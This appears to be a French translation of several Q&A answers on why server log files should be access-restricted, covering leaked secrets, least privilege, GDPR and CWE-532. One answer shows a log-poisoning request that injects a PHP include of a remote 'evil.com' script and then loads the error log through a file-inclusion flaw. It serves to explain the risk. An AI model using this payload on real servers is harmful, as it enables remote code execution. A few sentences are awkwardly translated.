Il y a clairement 2 lignes de défense différentes ici.

Premièrement, les données très sensibles (secrets, généralement des mots de passe) ne doivent jamais être consignées pour éviter toute compromission via les journaux.

Mais le plus un attaquant connaît un système, plus le risque de créer / d'utiliser une attaque ciblée est élevé. Par exemple, les versions de logiciels ne sont pas très sensibles et peuvent raisonnablement alimenter un journal, mais elles peuvent aider à choisir un vecteur d'attaque.

La deuxième ligne de défense est donc que quelqu'un qui n'a pas besoin d'accéder aux journaux devrait ne pas pouvoir les lire. C'est une application directe de la règle du moindre privilège.

Il est courant de fournir un accès aux journaux à l'équipe de développement / maintenance, mais vous devez évaluer le rapport risque / gain, selon à vos outils de sécurité d'accès. Le système le plus sécurisé est celui auquel aucun utilisateur ne peut accéder, mais sa facilité d'utilisation est également très faible ...

L'accès aux données brutes du journal doit être limité aux utilisateurs autorisés.

La raison simple en est que même dans des conditions de fonctionnement normales , vos applications peuvent ne devraient pas non plus enregistrer de données sensible à exposer (et les opinions / réglementations sur ce que c'est exactement peuvent différer) il viendra presque certainement un moment où vos journaux contiennent des données sensibles:

• Sauf si vous êtes extrêmement familier avec vos applications, vous ne savez pas à l'avance quels détails seront consignés lorsque l'application génère des erreurs ou des exceptions.
  La plupart des applications sont conçues pour limiter la quantité de détails dans les messages d'erreur qu'elles présentent aux utilisateurs finaux, mais enregistrent (beaucoup) plus détails dans leurs journaux pour aider les administrateurs et les développeurs à dépanner la cause de ces erreurs et exceptions.

• Vous devrez peut-être augmenter la verbosité du journal pour le dépannage à un niveau tel que les journaux contiendront détails sensibles qui seraient normalement supprimés.

• Comme les gens l'ont commenté: les personnes entrant des mots de passe pour les noms de connexion et les développeurs utilisant la méthode GET plutôt que POST et une myriade d'erreurs humaines similaires peuvent entraîner des champs autrement beaucoup plus inoffensifs dans le journal événements «pollués» par des données sensibles.

Il existe des produits qui vous permettront d'accorder aux utilisateurs authentifiés un accès Web et de définir les ACL sur des rapports uniquement agrégés, des données de journal nettoyées / filtrées et / ou tous les événements de journal brut tels que Splunk, Kibana et similaires.

Et bien que l'accès aux données brutes des journaux doive être restreint, vous pouvez toujours décider de publier plus publiquement soit un sous-ensemble nettoyé de vos journaux, soit les rapports que vous généreriez en fonction des journaux, c'est-à-dire publier un rapport d'utilisation et les statistiques des visiteurs plutôt que le journal d'accès brut

Il a plus de points de vue:

1) En ne cachant pas les logs, vous exposez votre infrastructure.

2) L'UE a un RGPD. Il est interdit d'exposer des adresses IP, des noms, des e-mails ou tout autre élément personnel. (et au moins un comportement immoral et mauvais) gdpr-info.eu/art-32-gdpr

Si vous avez besoin de montrer les données enregistrées à un tiers ou à un outil dédié à accès facile. Dans mon bureau, c'est Graylog par exemple. Vous pouvez facilement récolter les journaux, les stocker et contrôler leur accès.

Les vulnérabilités pouvant résulter des types d'informations écrites dans les fichiers journaux sont énumérées sous la forme CWE-532 dans la base de données Common Weakness Enumeration.

Informations écrites sur Les fichiers journaux peuvent être de nature sensible et donner des conseils précieux à un attaquant ou exposer des informations sensibles sur l'utilisateur.

La question des informations protégées et personnellement identifiables est également très pertinente, comme abordé dans @ Réponse de KOLEGA ci-dessus.

Même si vous ne consignez pas intentionnellement des informations sensibles, elles peuvent parfois être enregistrées par inadvertance.

Par exemple, supposons que vous consigniez le nom d'utilisateur des échecs de connexion. Parfois, les gens saisissent accidentellement leur mot de passe dans le champ du nom d'utilisateur, et celui-ci sera alors consigné.

Il est préférable de traiter les journaux comme contenant potentiellement des informations qui devraient être protégées, même si vous ne les considérez normalement pas comme sensibles.

Les fichiers journaux doivent être situés dans un emplacement sûr par défaut en général. Les fichiers journaux peuvent contenir des adresses IP, des e-mails et des informations protégées par la loi. Ma recommandation est donc de toujours conserver les fichiers journaux dans un emplacement sûr. D'un autre côté, dans certains cas, ces fichiers journaux sont utilisés à des fins médico-légales et vous devez en protéger la modification si possible, cela dépend un peu de votre système.

Comme Serge Ballesta l'a dit, les informations sensibles (noms d'utilisateur, mots de passe, etc.) ne devraient jamais être placées dans un fichier journal.

Le principal problème de sécurité réel qui en ressort d'avoir des fichiers journaux accessibles au public provient de l'obtention d'informations sur votre système, en particulier si vous utilisez un logiciel accessible au public (non développé pour ce système unique).

Si j'essaie d'accéder à votre système, une chose que je pourrais vérifier en premier est vos fichiers journaux. Si je suis capable de discerner quel logiciel votre système exécute, et plus important encore, quelle VERSION de ce logiciel est utilisée, je peux affiner considérablement ma recherche d'exploits. Peut-être que vous n'avez pas mis à jour votre logiciel avec la version la plus récente, il y a un bogue dans l'ancienne version qui me permet d'utiliser l'injection SQL, et il y a une ligne dans votre journal qui indique la version actuelle du logiciel utilisée.

C'est à peu près le même niveau de risque de sécurité que l'utilisation de code open source. Cela permet simplement un peu à un attaquant de trouver des exploits. Matière à réflexion.

Quelques bonnes réponses ici - mais pas complètes.

Oui, vos fichiers journaux peuvent contenir des données sensibles, par conséquent ces données doivent être explicitement limitées aux utilisateurs autorisés à y accéder. Malheureusement, selon mon expérience, la plupart des organisations qui mettent en œuvre ce type de contrôle se trompent gravement sur le nombre de personnes qui devraient être autorisées.

Mais un autre point important est que vos utilisateurs contrôlent une grande partie des données qui apparaissent ensuite dans les fichiers journaux. En fonction de l'architecture système de votre application, cela peut fournir un mécanisme permettant de tirer parti d'une vulnérabilité d'inclusion de fichier local dans un exploit complet. Considérez:

  GET /nonesuch%3C%3Finclude%20'http://evil.com/attack';%3F%3E GET /vulnerable.php?file=/var/log/ httpd / error_log  

Cela peut être atténué par la façon dont votre serveur Web gère l'encodage de la requête en entrée et lors de l'écriture dans les fichiers journaux (mais est-ce complètement étanche? ). Si vous autorisez le serveur Web à accéder directement à l'emplacement du fichier journal via une URL, le mécanisme d'escalade est légèrement différent.

(Notez que dans l'exemple ci-dessus, s'il est possible d'appeler un include distant, alors cela sera probablement possible dans tout le code, donc persister l'exploit dans le fichier journal est redondant - mais c'est juste à des fins d'illustration, des exploits plus complexes peuvent être écrits)